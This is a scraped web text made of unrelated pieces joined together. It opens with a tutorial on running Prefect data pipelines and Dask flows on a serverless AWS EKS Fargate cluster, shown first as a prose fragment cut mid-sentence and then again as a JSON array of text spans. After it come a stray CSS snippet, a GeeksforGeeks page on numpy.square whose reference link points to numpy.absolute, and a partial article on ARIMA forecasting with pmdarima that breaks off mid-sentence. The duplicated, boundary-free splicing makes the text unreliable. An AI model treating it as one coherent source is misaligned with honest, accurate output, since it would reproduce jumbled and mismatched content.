version-control my code and I don’t need ECR versioning. Also, it can save you some money on AWS, as with each new version of the image on ECR, you pay more for storage of those ECR images. But feel free to skip this argument. This way, Prefect will tag the image with the current date and time and will store each flow version with a different tag. Last note: the extra argument python_dependencies=["pandas==1.1.0"] allows to define a list of Python packages that needs to be installed within the container. If you need a more finegrained control over your image, you can provide a path to a custom Dockerfile, ex: dockerfile='/Users/anna/my_flows/aws/Dockerfile' We can now mark the previous flow run as Finished or Failed: Finally, we can register a new version of the flow by simply rerunning the modified script, as shown in the second Gist: If we visit the link from the output, we can see that a Version 2 has been created and if we run it, we can see that the flow will transfer to the state Submitted for execution (yellow), then Runnning (blue), and finally All reference tasks succeeded (green): The logs display more information: We can also inspect the pods by using kubectl: To summarize what we did so far: we created a Prefect Cloud account we deployed a serverless Kubernetes cluster by using AWS EKS we created an ECR repository and pushed our Docker image containing our flow code and all Python package dependencies to this ECR repository we then registered our flow, ran it from the Prefect Cloud UI, and inspected its status in the UI and in the CLI using kubectl. If you came that far, congratulations! 👏🏻 In the next section, we will create a second flow which will make use of a distributed Dask cluster. Prefect Cloud works great with Dask Distributed. In order to run your Python code on Dask in a distributed fashion, you would typically have to deploy a Dask cluster with several worker nodes and maintain it. Prefect provides a great abstraction DaskKubernetesEnvironment which: spins up on-demand Dask cluster across multiple pods and possibly also across multiple nodes (you can specify the min and max number of workers) submits your flow to this on-demand cluster cleans up the resources (i.e. terminates the cluster after the job is finished). Here is an example flow based on the Prefect Docs that you can use to test your Dask setup. I saved this flow as dask-k8.py and provided the same name dask-k8 as the flow name and as the name of ECR repository: We now register the flow and trigger it from the UI again: ➜ python3 dask-k8.py Now we can observe the pods that are being created to distribute work across Dask workers: We can now see several pods related to Dask. The UI shows the current progress of all tasks, running in parallel, and the final runtime: If we analyze the logs, we can see that: the flow was submitted for execution at 12:43 the flow run began at 12:47 the flow finished at 12:51. This means that it took around 3 minutes until the flow has been picked up by the Kubernetes agent and the Dask cluster has been provisioned on our serverless AWS EKS cluster together with pulling all necessary images. After that, the flow needed 4 minutes to successfully run the flow. If the latency related to a Dask cluster being created on-demand is not acceptable by your workloads, you can create and maintain your own Dask cluster and adapt the code as follows: This way, you would use Executor rather than Environment abstraction. Also, you would have to adapt 255.255.255.255 to your Dask scheduler address and change port 8786 accordingly, if needed. Before we wrap up, make sure to delete the AWS EKS cluster and the ECR repositories to avoid any charges: In this article, we used AWS EKS on Fargate to create a serverless Kubernetes cluster on AWS. We connected it in a secure way as our execution layer with Prefect Cloud. Then, we dockerized our Prefect flows and pushed the images to ECR by using DockerStorage abstraction. Finally, we deployed both, a simple data pipeline running within a single pod, as well as distributed Dask flow, allowing for high-level parallelism of your ETL & ML code. Along the way, we identified the differences, as well as the pros and cons of running data pipelines on already available resources that we need to maintain vs. running your containerized flows in a serverless way. Hopefully, this setup will make it easier to start orchestrating your ETL & Data Science workflows. Regardless of whether you are a start-up, large enterprise, or a student running code for a thesis, the combination of Prefect & AWS EKS on Fargate allows you to move your data projects to production faster than ever before. Thank you for reading!
[ { "code": null, "e": 790, "s": 172, "text": "Building distributed systems for ETL & ML data pipelines is hard. If you tried implementing one yourself, you may have experienced that tying together a workflow orchestration solution with distributed multi-node compute clusters such as Spark or Dask may prove difficult to properly set up and manage. In this article, I want to show you how you can obtain a highly available, scalable, distributed system that will make the orchestration of your data pipelines for ETL & ML much more enjoyable and will free up your time to work with data and generate value out of it rather than spend time on maintaining clusters." }, { "code": null, "e": 1181, "s": 790, "text": "The entire setup is, to a large extent, automated by AWS and Prefect. Plus, it will cost you almost nothing in the beginning. Why? Because I will show you how to set up a production-ready and secure workflow orchestration system with a serverless Kubernetes cluster as your distributed, fault-tolerant, highly available, self-healing & automatically scalable execution layer within minutes!" }, { "code": null, "e": 1209, "s": 1181, "text": "All that you need to do is:" }, { "code": null, "e": 1303, "s": 1209, "text": "create AWS account & IAM user with programmatic access to create AWS ECR, ECS & EKS resources" }, { "code": null, "e": 1530, "s": 1303, "text": "run a few shell commands from this article to set up a Kubernetes cluster by using AWS EKS on Fargate (which will cost you just 0.10$ per hour for the control plane! Before, it was 0.20$ but AWS halved the price in early 2020)" }, { "code": null, "e": 1738, "s": 1530, "text": "sign up for a free Prefect Cloud account (free Developer account gives you access to all features but only for you — if you want to use it in your team, you need to upgrade to either Team or Enterprise plan)" }, { "code": null, "e": 1878, "s": 1738, "text": "generate authentification tokens within Prefect Cloud UI to connect your Prefect Cloud account to your serverless Kubernetes cluster on AWS" }, { "code": null, "e": 1951, "s": 1878, "text": "run your distributed data pipelines and generate value out of your data!" }, { "code": null, "e": 1970, "s": 1951, "text": "Let’s get started!" }, { "code": null, "e": 2332, "s": 1970, "text": "In December 2019, AWS launched a new Fargate feature which, to many, was considered a game-changer — they introduced an option to use AWS EKS on ECS Fargate, which is a way of saying: AWS made the Fargate service an orchestrator not only for the ECS but also for the EKS. Up to that point, AWS Fargate was a serverless way of running containers only on AWS ECS." }, { "code": null, "e": 2486, "s": 2332, "text": "EKS and Fargate make it straightforward to run Kubernetes-based applications on AWS by removing the need to provision and manage infrastructure for pods." }, { "code": null, "e": 2706, "s": 2486, "text": "What does it mean for us? It means that we can now have a serverless Kubernetes cluster on EKS which is only charging us for running pods, rather than their underlying EC2 instances. It also means, among other benefits:" }, { "code": null, "e": 2739, "s": 2706, "text": "no more worker node maintenance," }, { "code": null, "e": 2766, "s": 2739, "text": "no more guessing capacity," }, { "code": null, "e": 2836, "s": 2766, "text": "no more EC2 autoscaling groups to scale the worker nodes up and down." }, { "code": null, "e": 3169, "s": 2836, "text": "AWS takes care of all that for you. All that you need to do is to write YAML files for your deployments and interact with the EKS via kubectl. In short: your only task now is to write your ETL & ML code that adds value to your business and AWS takes care of the Ops, i.e. operating, maintaining, and scaling your Kubernetes cluster." }, { "code": null, "e": 3315, "s": 3169, "text": "Considering that we are charged only for the actual vCPU and memory of running pods, this provides a great foundation for a modern data platform." }, { "code": null, "e": 3737, "s": 3315, "text": "One possible disadvantage of using almost any serverless option is the issue of cold start when the container orchestration system needs to first allocate and prepare the compute resources (a.o. pulling the latest version of the image from the docker registry to the allocated worker node and building the image) which may add some additional latency before the container (or your K8s pod) will turn into a running state." }, { "code": null, "e": 4012, "s": 3737, "text": "If your data workloads require a very low level of latency, you may opt for the AWS EKS cluster with the traditional data plane and follow the instructions from this blog post to set up a non-serverless cluster on AWS EKS and to connect it to your Prefect Cloud environment." }, { "code": null, "e": 4071, "s": 4012, "text": "However, you can have both! AWS allows you to mix the two:" }, { "code": null, "e": 4216, "s": 4071, "text": "you can have the same AWS EKS cluster running pods in a serverless way in the default namespace (this is set up by generating a Fargate Profile)" }, { "code": null, "e": 4635, "s": 4216, "text": "and you can have an EC2 instance (ex. with GPU) for your Data Science models connected to the same Kubernetes cluster on EKS but within a different namespace or using different Kubernetes labels. When you then create a deployment for a pod that doesn’t match the namespace and labels defined in the Fargate Profile, it will be scheduled to the EC2-worker node which you maintain and which is available with no latency." }, { "code": null, "e": 4904, "s": 4635, "text": "As you can see, AWS designed EKS on Fargate with a lot of foresight which allows you to mix the serverless and non-serverless options to save your time, money, and maintenance efforts. You can find out more about that in this video in which AWS introduced the service." }, { "code": null, "e": 5151, "s": 4904, "text": "You need to have an AWS account with either admin access or at least a user with IAM permissions for creating ECR, EKS and ECS resources. Then, you must have AWS CLI configured for this account and eksctl installed, as described in this AWS docs." }, { "code": null, "e": 5296, "s": 5151, "text": "Kubernetes on AWS works well with AWS ECR, which is a registry for your Docker images. To authenticate your terminal with your ECR account, run:" }, { "code": null, "e": 5327, "s": 5296, "text": "if you use the new AWS CLI v2:" }, { "code": null, "e": 5491, "s": 5327, "text": "aws ecr get-login-password --region <YOUR_AWS_REGION> | docker login --username AWS --password-stdin <YOUR_ECR_REGISTRY_ID>.dkr.ecr.<YOUR_AWS_REGION>.amazonaws.com" }, { "code": null, "e": 5527, "s": 5491, "text": "if you use the old AWS CLI version:" }, { "code": null, "e": 5594, "s": 5527, "text": "$(aws ecr get-login --no-include-email --region <YOUR_AWS_REGION>)" }, { "code": null, "e": 5666, "s": 5594, "text": "Note: <YOUR_AWS_REGION> could be ex. us-east-1, eu-central-1, and more." }, { "code": null, "e": 5995, "s": 5666, "text": "If you get Login Succeeded message, you can create your ECR repositories for your data pipelines. We will create two data pipelines: dask-k8 and basic-etl-prefect-flow — use the same names to follow this walkthrough, but in general, it’s easiest to give your ECR repository the same name as your Prefect flow to avoid confusion." }, { "code": null, "e": 6113, "s": 5995, "text": "aws ecr create-repository --repository-name dask-k8aws ecr create-repository --repository-name basic-etl-prefect-flow" }, { "code": null, "e": 6247, "s": 6113, "text": "Then, all you need to do is to run the following command, which will deploy Kubernetes control plane and Fargate Profile in your VPC:" }, { "code": null, "e": 6325, "s": 6247, "text": "eksctl create cluster --name fargate-eks --region <YOUR_AWS_REGION> --fargate" }, { "code": null, "e": 6552, "s": 6325, "text": "I picked the name fargate-eks for the cluster, but feel free to change it. The --fargate flag ensures that we create a new Fargate profile for use with this cluster. EKS allows you to create a custom Fargate profile if needed." }, { "code": null, "e": 6667, "s": 6552, "text": "The provision of all resources may take several minutes. When finished, you should see output similar to this one:" }, { "code": null, "e": 6700, "s": 6667, "text": "Then, if you check your context:" }, { "code": null, "e": 6731, "s": 6700, "text": "kubectl config current-context" }, { "code": null, "e": 6774, "s": 6731, "text": "You should get output similar to this one:" }, { "code": null, "e": 6835, "s": 6774, "text": "<YOUR_AWS_USER_NAME>@fargate-eks.<YOUR_AWS_REGION>.eksctl.io" }, { "code": null, "e": 6964, "s": 6835, "text": "This way you can see that you are connected to a serverless Kubernetes cluster running on AWS Fargate! To prove it further, run:" }, { "code": null, "e": 7279, "s": 6964, "text": "➜ ~ kubectl get nodesNAME STATUS ROLES AGE VERSIONfargate-ip-192-168-163-163.eu-central-1.compute.internal Ready <none> 15m v1.17.9-eks-a84824fargate-ip-192-168-180-51.eu-central-1.compute.internal Ready <none> 15m v1.17.9-eks-a84824" }, { "code": null, "e": 7367, "s": 7279, "text": "In the output, you should see at least 1 Fargate node waiting for your pod deployments." }, { "code": null, "e": 7581, "s": 7367, "text": "Note: those nodes are running inside of your VPC but they are not visible within your EC2 dashboard. You cannot SSH to those nodes either, as they are fully managed and deployed by Fargate in a serverless fashion." }, { "code": null, "e": 7977, "s": 7581, "text": "The advantage of combining this AWS EKS cluster with Prefect is that the entire Kubernetes pod deployment and scheduling is abstracted away from you by Prefect. This means that you don’t even need to know much about Kubernetes in order to derive value from it. In the next section, we will connect this cluster to our Prefect Cloud account and start building distributed ETL & ML data pipelines." }, { "code": null, "e": 8056, "s": 7977, "text": "Let’s first sign up for a free Developer account on https://cloud.prefect.io/." }, { "code": null, "e": 8644, "s": 8056, "text": "At first, you will be welcomed by a clean UI showing you your flows, agents, and the general overview of the recent flow runs and the next scheduled jobs. The flows themselves can be organized into several projects. When you start building your data pipelines, this main dashboard lets you quickly identify the current status of all your data pipelines. This dashboard is extremely helpful: imagine that you log into your account in the morning and see that all your pipelines are in a green status! You only need to dive deeper if you see any red bars indicating some failed data flows." }, { "code": null, "e": 9016, "s": 8644, "text": "I know companies who would dream of having this kind of dashboard and this level of transparency about their ETL & ML data pipelines and their status, while at the same time being able to see that all agents executing the work are healthy: at the moment you can see that I currently have a Fargate agent ready to deploy the flows on AWS ECS. For now, we focus on AWS EKS." }, { "code": null, "e": 9282, "s": 9016, "text": "Let’s continue with the setup and install prefect on your computer. The following command will install Prefect with AWS and Kubernetes extras (instead of [kubernetes,aws] you could use [all_extras] if you want to install all Prefect extensions to external systems):" }, { "code": null, "e": 9320, "s": 9282, "text": "pip install \"prefect[kubernetes,aws]\"" }, { "code": null, "e": 9439, "s": 9320, "text": "Now to make sure that you use Prefect Cloud and not the open-source version Prefect Core, switch the context to Cloud:" }, { "code": null, "e": 9461, "s": 9439, "text": "prefect backend cloud" }, { "code": null, "e": 9800, "s": 9461, "text": "After you registered for a free account, you need to create a Personal Access Token to authenticate your local terminal with Prefect Cloud. This will allow to register your flows (i.e. your ETL & ML data pipelines) to the Prefect Cloud directly from your computer. Go to the side bar: User → Personal Access Token → + CREATE TOKEN button." }, { "code": null, "e": 9856, "s": 9800, "text": "Choose some meaningful name ex. MyTokenToRegisterFlows." }, { "code": null, "e": 9929, "s": 9856, "text": "Then copy the token and within your terminal run the following commands:" }, { "code": null, "e": 9976, "s": 9929, "text": "prefect auth login -t <MyTokenToRegisterFlows>" }, { "code": null, "e": 10047, "s": 9976, "text": "Now you can register your flows to be orchestrated from Prefect Cloud!" }, { "code": null, "e": 10203, "s": 10047, "text": "The last part is to create a RunnerToken for your Kubernetes Agent and to register the agent. Go to the sidebar: Team → API Tokens → + CREATE TOKEN button." }, { "code": null, "e": 10260, "s": 10203, "text": "Alternatively, you could do the same from your terminal:" }, { "code": null, "e": 10326, "s": 10260, "text": "prefect auth create-token -n MyEKS_on_Fargate_K8s_Token -r RUNNER" }, { "code": null, "e": 10449, "s": 10326, "text": "It’s very important to select the RUNNER scope, otherwise your agent will not be able to execute the flows on your behalf." }, { "code": null, "e": 10499, "s": 10449, "text": "Click on CREATE and copy the generated API token." }, { "code": null, "e": 10700, "s": 10499, "text": "Now we are reaching the most exciting part: with the command below, you will be able to set your serverless AWS Kubernetes cluster as your execution layer (i.e. agent) for your Prefect data pipelines:" }, { "code": null, "e": 10784, "s": 10700, "text": "Now you should be able to see a new Kubernetes Agent in your Prefect Cloud account:" }, { "code": null, "e": 10846, "s": 10784, "text": "We can also see a new pod corresponding to the Prefect agent:" }, { "code": null, "e": 11000, "s": 10846, "text": "➜ ~ kubectl get podsNAME READY STATUS RESTARTS AGEprefect-agent-68785f47d4-pv9kt 1/1 Running 0 5m59s" }, { "code": null, "e": 11347, "s": 11000, "text": "Now everything is set up and we can start creating our flows. Prefect Docs include a variety of useful tutorials that will quickly show you how to adapt your Python ETL & ML code to make it run on Prefect. In a nutshell, you just need to decorate your Python functions with @task decorator, add the task and flow imports and create a flow object:" }, { "code": null, "e": 11452, "s": 11347, "text": "Note: adding log_stdout=True ensures that the printed output will appear in the Prefect Cloud flow logs." }, { "code": null, "e": 11547, "s": 11452, "text": "Now we can create a project to organize our flows either from the UI or by using the terminal:" }, { "code": null, "e": 11617, "s": 11547, "text": "➜ prefect create project Medium_AWS_PrefectMedium_AWS_Prefect created" }, { "code": null, "e": 11737, "s": 11617, "text": "If we now run this script, we should get a link to the Prefect Cloud UI from which we can trigger or schedule the flow:" }, { "code": null, "e": 11867, "s": 11737, "text": "➜ python3 basic-prefect-etl-flow.py Result check: OKFlow: https://cloud.prefect.io/anna/flow/888046e6-f366-466a-b9b5-4113cd437e4d" }, { "code": null, "e": 11959, "s": 11867, "text": "When we trigger the flow, we will see that it stays in the scheduled state and doesn’t run." }, { "code": null, "e": 12082, "s": 11959, "text": "This is because to run your flows on the AWS EKS cluster, your flow must include information on where your code is stored." }, { "code": null, "e": 12184, "s": 12082, "text": "There are several options for how you can store your code: EKS could pull it from ECR, S3, or Github." }, { "code": null, "e": 12317, "s": 12184, "text": "The easiest option is to dockerize your flow and push the image to ECR. Luckily, Prefect team made it really easy — we only need to:" }, { "code": null, "e": 12439, "s": 12317, "text": "create an ECR repository for our flow (this step can be automated with a CI/CD pipelines in your production environments)" }, { "code": null, "e": 12471, "s": 12439, "text": "add Docker storage to the code." }, { "code": null, "e": 12725, "s": 12471, "text": "If you remember the AWS Setup section, we already created two ECR respositories: dask-k8 and basic-etl-prefect-flow. Therefore, we only need to add storage=Docker() argument to our flow code so that it can be executed by our serverless Kubernetes Agent:" }, { "code": null, "e": 12765, "s": 12725, "text": "Some important notes to the code above:" }, { "code": null, "e": 12911, "s": 12765, "text": "under the hood, Prefect checks your Prefect version and extends the corresponding Prefect Docker image to include your flow and its dependencies," }, { "code": null, "e": 13051, "s": 12911, "text": "make sure to set your ECR registry ID so that your flow will be dockerized and pushed to the ECR repository dask-k8 that we created earlier" }, { "code": null, "e": 13679, "s": 13051, "text": "image_tag='latest' is used to disable versioning of your ECR images. Setting it to latest, or any other particular tag will make sure that every time you register a flow, you overwrite the previous ECR image tagged as latest. This works well for me because I already use Git to version-control my code and I don’t need ECR versioning. Also, it can save you some money on AWS, as with each new version of the image on ECR, you pay more for storage of those ECR images. But feel free to skip this argument. This way, Prefect will tag the image with the current date and time and will store each flow version with a different tag." }, { "code": null, "e": 13995, "s": 13679, "text": "Last note: the extra argument python_dependencies=[\"pandas==1.1.0\"] allows to define a list of Python packages that needs to be installed within the container. If you need a more finegrained control over your image, you can provide a path to a custom Dockerfile, ex: dockerfile='/Users/anna/my_flows/aws/Dockerfile'" }, { "code": null, "e": 14056, "s": 13995, "text": "We can now mark the previous flow run as Finished or Failed:" }, { "code": null, "e": 14177, "s": 14056, "text": "Finally, we can register a new version of the flow by simply rerunning the modified script, as shown in the second Gist:" }, { "code": null, "e": 14437, "s": 14177, "text": "If we visit the link from the output, we can see that a Version 2 has been created and if we run it, we can see that the flow will transfer to the state Submitted for execution (yellow), then Runnning (blue), and finally All reference tasks succeeded (green):" }, { "code": null, "e": 14472, "s": 14437, "text": "The logs display more information:" }, { "code": null, "e": 14519, "s": 14472, "text": "We can also inspect the pods by using kubectl:" }, { "code": null, "e": 14552, "s": 14519, "text": "To summarize what we did so far:" }, { "code": null, "e": 14587, "s": 14552, "text": "we created a Prefect Cloud account" }, { "code": null, "e": 14648, "s": 14587, "text": "we deployed a serverless Kubernetes cluster by using AWS EKS" }, { "code": null, "e": 14789, "s": 14648, "text": "we created an ECR repository and pushed our Docker image containing our flow code and all Python package dependencies to this ECR repository" }, { "code": null, "e": 14917, "s": 14789, "text": "we then registered our flow, ran it from the Prefect Cloud UI, and inspected its status in the UI and in the CLI using kubectl." }, { "code": null, "e": 14959, "s": 14917, "text": "If you came that far, congratulations! 👏🏻" }, { "code": null, "e": 15060, "s": 14959, "text": "In the next section, we will create a second flow which will make use of a distributed Dask cluster." }, { "code": null, "e": 15339, "s": 15060, "text": "Prefect Cloud works great with Dask Distributed. In order to run your Python code on Dask in a distributed fashion, you would typically have to deploy a Dask cluster with several worker nodes and maintain it. Prefect provides a great abstraction DaskKubernetesEnvironment which:" }, { "code": null, "e": 15484, "s": 15339, "text": "spins up on-demand Dask cluster across multiple pods and possibly also across multiple nodes (you can specify the min and max number of workers)" }, { "code": null, "e": 15528, "s": 15484, "text": "submits your flow to this on-demand cluster" }, { "code": null, "e": 15609, "s": 15528, "text": "cleans up the resources (i.e. terminates the cluster after the job is finished)." }, { "code": null, "e": 15820, "s": 15609, "text": "Here is an example flow based on the Prefect Docs that you can use to test your Dask setup. I saved this flow as dask-k8.py and provided the same name dask-k8 as the flow name and as the name of ECR repository:" }, { "code": null, "e": 15879, "s": 15820, "text": "We now register the flow and trigger it from the UI again:" }, { "code": null, "e": 15901, "s": 15879, "text": "➜ python3 dask-k8.py" }, { "code": null, "e": 15992, "s": 15901, "text": "Now we can observe the pods that are being created to distribute work across Dask workers:" }, { "code": null, "e": 16129, "s": 15992, "text": "We can now see several pods related to Dask. The UI shows the current progress of all tasks, running in parallel, and the final runtime:" }, { "code": null, "e": 16170, "s": 16129, "text": "If we analyze the logs, we can see that:" }, { "code": null, "e": 16216, "s": 16170, "text": "the flow was submitted for execution at 12:43" }, { "code": null, "e": 16244, "s": 16216, "text": "the flow run began at 12:47" }, { "code": null, "e": 16272, "s": 16244, "text": "the flow finished at 12:51." }, { "code": null, "e": 16559, "s": 16272, "text": "This means that it took around 3 minutes until the flow has been picked up by the Kubernetes agent and the Dask cluster has been provisioned on our serverless AWS EKS cluster together with pulling all necessary images. After that, the flow needed 4 minutes to successfully run the flow." }, { "code": null, "e": 16742, "s": 16559, "text": "If the latency related to a Dask cluster being created on-demand is not acceptable by your workloads, you can create and maintain your own Dask cluster and adapt the code as follows:" }, { "code": null, "e": 16934, "s": 16742, "text": "This way, you would use Executor rather than Environment abstraction. Also, you would have to adapt 255.255.255.255 to your Dask scheduler address and change port 8786 accordingly, if needed." }, { "code": null, "e": 17040, "s": 16934, "text": "Before we wrap up, make sure to delete the AWS EKS cluster and the ECR repositories to avoid any charges:" }, { "code": null, "e": 17484, "s": 17040, "text": "In this article, we used AWS EKS on Fargate to create a serverless Kubernetes cluster on AWS. We connected it in a secure way as our execution layer with Prefect Cloud. Then, we dockerized our Prefect flows and pushed the images to ECR by using DockerStorage abstraction. Finally, we deployed both, a simple data pipeline running within a single pod, as well as distributed Dask flow, allowing for high-level parallelism of your ETL & ML code." }, { "code": null, "e": 17699, "s": 17484, "text": "Along the way, we identified the differences, as well as the pros and cons of running data pipelines on already available resources that we need to maintain vs. running your containerized flows in a serverless way." }, { "code": null, "e": 18024, "s": 17699, "text": "Hopefully, this setup will make it easier to start orchestrating your ETL & Data Science workflows. Regardless of whether you are a start-up, large enterprise, or a student running code for a thesis, the combination of Prefect & AWS EKS on Fargate allows you to move your data projects to production faster than ever before." } ]
Playit
#myDIV { background-color:lightblue; transform:rotateX(10deg);}
[]
numpy.square() in Python - GeeksforGeeks
29 Nov, 2018 numpy.square(arr, out = None, ufunc ‘square’) : This mathematical function helps user to calculate square value of each element in the array. Parameters : arr : [array_like] Input array or object whose elements, we need to square. Return : An array with square value of each array. Code #1 : Working # Python program explaining# square () function import numpy as np arr1 = [1, -3, 15, -466]print ("Square Value of arr1 : \n", np.square(arr1)) arr2 = [23 ,-56]print ("\nSquare Value of arr2 : ", np.square(arr2)) Output : Square Value of arr1 : [ 1 9 225 217156] Square Value of arr2 : [ 529 3136] Code #2 : Working with complex numbers # Python program explaining# square () function import numpy as np a = 4 + 3jprint("Square(4 + 3j) : ", np.square(a)) b = 16 + 13jprint("\nSquare value(16 + 13j) : ", np.square(b)) Output : Square(4 + 3j) : (7+24j) Square value(16 + 13j) : (87+416j) Code #3 : Graphical Representation of numpy.square() # Python program explaining# square () function import numpy as npimport matplotlib.pyplot as plt a = np.linspace(start = -5, stop = 5, num = 6, endpoint = True) print("Graphical Representation : \n", np.square(a)) plt.title("blue : with square\nred : without square")plt.plot(a, np.square(a)) plt.plot(a, a, color = 'red')plt.show() Output : Graphical Representation : [ 25. 9. 1. 1. 9. 25.] References :https://docs.scipy.org/doc/numpy-1.13.0/reference/generated/numpy.absolute.html. Python numpy-Mathematical Function Python-numpy Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Create a Pandas DataFrame from Lists Box Plot in Python using Matplotlib Python Dictionary Bar Plot in Matplotlib Enumerate() in Python Python | Get dictionary keys as a list Python | Convert set into a list Ways to filter Pandas DataFrame by column values Graph Plotting in Python | Set 1 Python - Call function from another file
[ { "code": null, "e": 23643, "s": 23615, "text": "\n29 Nov, 2018" }, { "code": null, "e": 23785, "s": 23643, "text": "numpy.square(arr, out = None, ufunc ‘square’) : This mathematical function helps user to calculate square value of each element in the array." }, { "code": null, "e": 23798, "s": 23785, "text": "Parameters :" }, { "code": null, "e": 23886, "s": 23798, "text": "arr : [array_like] Input array or object\n whose elements, we need to square.\n" }, { "code": null, "e": 23895, "s": 23886, "text": "Return :" }, { "code": null, "e": 23940, "s": 23895, "text": "An array with square value of each array. \n" }, { "code": null, "e": 23959, "s": 23940, "text": " Code #1 : Working" }, { "code": "# Python program explaining# square () function import numpy as np arr1 = [1, -3, 15, -466]print (\"Square Value of arr1 : \\n\", np.square(arr1)) arr2 = [23 ,-56]print (\"\\nSquare Value of arr2 : \", np.square(arr2))", "e": 24175, "s": 23959, "text": null }, { "code": null, "e": 24184, "s": 24175, "text": "Output :" }, { "code": null, "e": 24277, "s": 24184, "text": "Square Value of arr1 : \n [ 1 9 225 217156]\n\nSquare Value of arr2 : [ 529 3136]\n" }, { "code": null, "e": 24317, "s": 24277, "text": " Code #2 : Working with complex numbers" }, { "code": "# Python program explaining# square () function import numpy as np a = 4 + 3jprint(\"Square(4 + 3j) : \", np.square(a)) b = 16 + 13jprint(\"\\nSquare value(16 + 13j) : \", np.square(b))", "e": 24501, "s": 24317, "text": null }, { "code": null, "e": 24510, "s": 24501, "text": "Output :" }, { "code": null, "e": 24573, "s": 24510, "text": "Square(4 + 3j) : (7+24j)\n\nSquare value(16 + 13j) : (87+416j)" }, { "code": null, "e": 24627, "s": 24573, "text": " Code #3 : Graphical Representation of numpy.square()" }, { "code": "# Python program explaining# square () function import numpy as npimport matplotlib.pyplot as plt a = np.linspace(start = -5, stop = 5, num = 6, endpoint = True) print(\"Graphical Representation : \\n\", np.square(a)) plt.title(\"blue : with square\\nred : without square\")plt.plot(a, np.square(a)) plt.plot(a, a, color = 'red')plt.show()", "e": 24997, "s": 24627, "text": null }, { "code": null, "e": 25006, "s": 24997, "text": "Output :" }, { "code": null, "e": 25068, "s": 25006, "text": "Graphical Representation : \n [ 25. 9. 1. 1. 9. 25.]\n" }, { "code": null, "e": 25161, "s": 25068, "text": "References :https://docs.scipy.org/doc/numpy-1.13.0/reference/generated/numpy.absolute.html." }, { "code": null, "e": 25196, "s": 25161, "text": "Python numpy-Mathematical Function" }, { "code": null, "e": 25209, "s": 25196, "text": "Python-numpy" }, { "code": null, "e": 25216, "s": 25209, "text": "Python" }, { "code": null, "e": 25314, "s": 25216, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25323, "s": 25314, "text": "Comments" }, { "code": null, "e": 25336, "s": 25323, "text": "Old Comments" }, { "code": null, "e": 25373, "s": 25336, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 25409, "s": 25373, "text": "Box Plot in Python using Matplotlib" }, { "code": null, "e": 25427, "s": 25409, "text": "Python Dictionary" }, { "code": null, "e": 25450, "s": 25427, "text": "Bar Plot in Matplotlib" }, { "code": null, "e": 25472, "s": 25450, "text": "Enumerate() in Python" }, { "code": null, "e": 25511, "s": 25472, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 25544, "s": 25511, "text": "Python | Convert set into a list" }, { "code": null, "e": 25593, "s": 25544, "text": "Ways to filter Pandas DataFrame by column values" }, { "code": null, "e": 25626, "s": 25593, "text": "Graph Plotting in Python | Set 1" } ]
Efficient Time-Series Analysis Using Python’s Pmdarima Library | by Muriel Kosaka | Towards Data Science
One of the key concepts in data science is time-series analysis which involves the process of using a statistical model to predict future values of a time series (i.e. financial prices, weather, COVID-19 positive cases/deaths) based on past results. Some components that might be seen in a time-series analysis are: Trend : Shows a general direction of time series data over a period of time — trends can be increasing (upward), decreasing (downward), or horizontal (stationary).Seasonality : This component exhibits a trend that repeats with respect to timing, magnitude, and direction — such as the increase in ice cream sales during the summer months or increase in subway riders during colder months.Cyclical Component : A trend that has no set repetition over a certain time period. A cycle can be a period of ups and downs, mostly seen in business cycles — cycles do not exhibit a seasonality trend.Irregular Variation : Fluctuations in time-series data that is erratic, unpredictable and may/may not be random. Trend : Shows a general direction of time series data over a period of time — trends can be increasing (upward), decreasing (downward), or horizontal (stationary). Seasonality : This component exhibits a trend that repeats with respect to timing, magnitude, and direction — such as the increase in ice cream sales during the summer months or increase in subway riders during colder months. Cyclical Component : A trend that has no set repetition over a certain time period. A cycle can be a period of ups and downs, mostly seen in business cycles — cycles do not exhibit a seasonality trend. Irregular Variation : Fluctuations in time-series data that is erratic, unpredictable and may/may not be random. When conducting time-series analysis, there are either Univariate Time-Series analysis or Multivariate Time-Series analysis. Univariate is utilized when only one variable is being observed against time, whereas Multivariate is utilized if there are two or more variables being observed against time. ARIMA is an acronym which stands for Auto Regressive Integrated Moving Average and is a way of modeling time-series data for forecasting and is specified by three order parameters (p,d,q): AR(p): pattern of growth/decline in the data is accounted for I (d): rate of change of the growth/decline is accounted for MA (q): noise between time points is accounted for There are three types of ARIMA models, ARIMA, SARIMA, and SARIMAX which differ depending on seasonality and/or use of exogenous variables. Pmdarima‘s auto_arima function is extremely useful when building an ARIMA model as it helps us identify the most optimal p,d,q parameters and return a fitted ARIMA model. As a newcomer to data science, when conducting time-series analysis, I took the “long” way before coming across pmdarima’s auto_arima function to build a high performance time-series model. For this article, I will focus on the Univariate Time-Series analysis to forecast the number of airline passengers (from Kaggle) and discuss through the traditional ARIMA implementation versus the more efficient, auto_arima way. The general steps to implement an ARIMA model: Load and prepare dataCheck for stationarity (make data stationary if necessary) and determine d valueCreate ACF and PACF plots to determine p and q valuesFit ARIMA modelPredict values on test setCalculate r2 Load and prepare data Check for stationarity (make data stationary if necessary) and determine d value Create ACF and PACF plots to determine p and q values Fit ARIMA model Predict values on test set Calculate r2 First, I loaded and prepared the data by changing the date to a datetime object, setting the date to index using the set_index method, and checking for null values. df=pd.read_csv('AirPassengers.csv')df=df.rename(columns={'#Passengers':'passengers','Month':'date'})df['date'] = pd.to_datetime(df['date'])df.set_index(df['date'], inplace=True)df=df.drop(columns=['date'])df.head() I then took a preliminary look at the average monthly number of airline passengers, which revealed that the data was not stationary. This was further confirmed by conducting a Dickey-Fuller test which is a unit root test for stationarity, as shown in the image below: After differencing our data twice, our p-value was less than our alpha (0.05), so we were able to reject the null hypothesis and accept the alternative hypothesis that the data is stationary. We then modeled our time-series data by setting the d parameter to 2. Next, I looked at our ACF/PACF plots using the differenced data to visualize the lags that will likely be influential when modeling the number of passengers. From our visualizations, I determined that our p parameter is 0 and q parameter is 2 — our p,d,q parameters will be (0,2,2) for the ARIMA model. After splitting the data into training and testing groups and fitting the ARIMA model on the training set to predict the test set, we obtained a r2 value of -1.52 — telling us that the model did not follow the trend of data at all. I most likely calculated the p,d,q values incorrectly which caused the r2 value to be negative, but in the mean time let’s try to build another ARIMA model using pmdarima. In the previous method, checking for stationarity, making data stationary if necessary, and determining the values of p and q using the ACF/PACF plots can be time-consuming and less efficient. Using pmdarima’s auto_arima() function makes this task easier for us by eliminating 